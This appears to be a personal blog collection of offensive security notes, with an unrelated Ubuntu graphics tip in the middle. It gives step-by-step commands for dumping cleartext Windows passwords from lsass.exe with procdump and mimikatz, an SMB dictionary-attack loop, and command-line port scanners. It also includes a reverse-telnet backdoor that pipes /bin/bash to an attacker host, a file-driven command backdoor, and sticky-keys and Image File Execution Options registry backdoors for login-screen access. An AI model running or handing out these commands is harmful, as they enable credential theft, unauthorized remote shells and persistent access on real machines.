Get passwords from Lsass.exe dump

Benjamin Delpy found that the windows process lsass.exe stores password in memory in a reversible way.
Then he developed a great tool called "mimikatz" - the next lines are some steps to get some cleartext passwords

Use "procdump" a tool from (Russinovich) Microsoft to dump the memory of the lsass.exe process
(download http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx)

> procdump -accepteula -ma lsass.exe lsass.dmp

run mimikatz and use debug mode
> privilege::debug

use minidump mode and load the lsass.dmp 
> sekurlsa::minidump lsass.dmp

Another way is to run mimikatz in runtime, but it is not stealthy (some AV flag it)
Run mimkatz in debug mode
> privilege::debug

get passwords in memory
> sekurlsa::logonPasswords

You can use Mimikatz in Metasploit too
execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a  '"sekurlsa::logonPasswords full" exit'  

Thanks: (the great Benjamim Delpy)
http://blog.gentilkiwi.com/securite/mimikatz/minidump
http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html 


Another interesting vector is getting hashes from NTDS.DIT (active directory database)

http://blog.spiderlabs.com/2013/11/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system-.html
http://neobits.org/extracting-ntds-dit-from-a-live-domain-controller-the-easy-way/
http://bernardodamele.blogspot.pt/2011/12/dump-windows-password-hashes_16.html
https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/

Pentesting ninjitsu - Ed Skoudis

http://www.jedge.com/wordpress/2008/12/penetration-testing-ninjitsu/

Great article, very nice commands:
---------------------------------------------------------------

Ping Sweep

C:\> for /L %i in (1,1,255) do @ping –n 1 10.10.10.%i | find “Reply”

Reverse DNS Lookup

C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 10.10.10.%i

Dictionary Attack

C:\> for /f %i in (user.txt) do @(for /f %j in (pass.txt) do @echo %i:%j & @net use \\10.10.10.10 %j /u:%i 2>nul && echo %i:%j >> success.txt && net use \\10.10.10.10 /del)

Ninjitsu II

Linux Command-Line Port Scanner

$ port=1; while [ $port –lt 1024 ]; do echo > /dev/tcp/[IPaddr]/$port; [ $? == 0 ] && echo $port "is open" >> /tmp/ports.txt; port=`expr $port + 1`; done

Linux Command-Line Backdoor via “Reverse Telnet”

$ telnet [attacker_IPaddr] [port1] | /bin/bash | telnet [attacker_IPaddr] [port2]

The Windows Command Line Port Scanner Using FTP Client

C:\> for /L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open [IP_addr] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt

Windows Command-Line File Transfer

C:\> type [filename] > \\[machine]\[share]\[filename]

Backdoors: The File Shell

C:\> for /L %i in (1,0,2) do (for /f "delims=^" %j in (commands.txt) do cmd.exe /c %j >> output.txt & del commands.txt) & ping -n 2 127.0.0.1

Ninjitsu III

Wireless Sniffing

C:\> for /L %i in (1,0,2) do @(netsh interface set interface “wireless network connection” disable & ping –n 3 127.0.0.1 >nul & netsh interface set interface “wireless network connection” enable & ping –n 4 127.0.0.1 >nul & netsh wlan show networks mode=bssid)

Install Telnet Client Vista

C:\> pkgmgr /iu:"TelnetClient"

Install Telnet Server Vista

C:\> pkgmgr /iu:"TelnetServer"

Install IIS 7.0

C:\> pkgmgr /iu:IIS-WebServerRole;WASWindowsActivationService;WAS-ProcessModel;WASNetFxEnvironment;WAS-ConfigurationAPI

List Domain Password Settings

C:\>net accounts /domain

Linux Ubuntu 12.04 - Ati / AMD discrete graphics

After searching "A LOT" on the web, forums, etc... i found a page that has a tip that works to change linux xserver to discrete graphics.

http://thealarmclocksixam.wordpress.com/2012/03/23/ubuntu-12-04-and-hybrid-graphics-on-sony-vaio-s/

I used this on my laptop HP dv6

Here are the steps;

1. edit /etc/modprobe.d/blacklist.conf

2. add these 2 lines to the end of the file 
# radeon
blacklist radeon

3. edit /etc/rc.local

modprobe radeon
chown -R $USER:$USER /sys/kernel/debug
echo OFF > /sys/kernel/debug/vgaswitcheroo/switch

4. reboot and it should be good

5. you can check if it worked

cat /sys/kernel/debug/vgaswitcheroo/switch

no more fan's noise, no more temperature...

Very nice hack

:D

--win 7 -- (still..) "good usage" for utilman.exe and sethc.exe

Physical access -> bootcd -> change .exe -> 0wned

If you have access to a Win 7 Box, you can still replace the binary c:\windows\system32\sethc.exe by cmd.exe (or meterpreter) and trigger it pressing 5 times the shift key on the login screen. 


This also works by replacing c:\windows\system32\utilman.exe, and pressing WINKEY-U in the login screen. (boot from CD to change the files)

....

You can also achieve same results by setting executable of your choice as Debugger to sethc.exe under Image File Execution options in registry. So in a priv command shell, it would be

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

Same goes for Utilman.exe
....